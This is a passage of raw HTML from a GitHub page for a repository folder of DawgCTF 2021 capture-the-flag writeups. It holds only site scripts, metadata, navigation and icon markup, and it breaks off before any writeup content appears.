integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B71E:8944:1501600:1648B56:61830707" data-pjax-transient="true"/><meta name="html-safe-nonce" content="73f16a2b66d41b083c280979501eb7af87e88629acf781fb872001478f7b1bcc" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNzFFOjg5NDQ6MTUwMTYwMDoxNjQ4QjU2OjYxODMwNzA3IiwidmlzaXRvcl9pZCI6IjMwNzYzNTY2NjQ4Mjg1NjExNTkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="245b798ce87a9eefe8b3710234d8193317c66280bc66df075188d12a715475b3" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="EmgsIP6R+tHbfhgfE+rxN6/kk4K8TJBaVdH57OdaXc0EDiyDLy8GOVIqqxh0Ooj0EoJQxzUWdkHrNJdRXI5kIg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 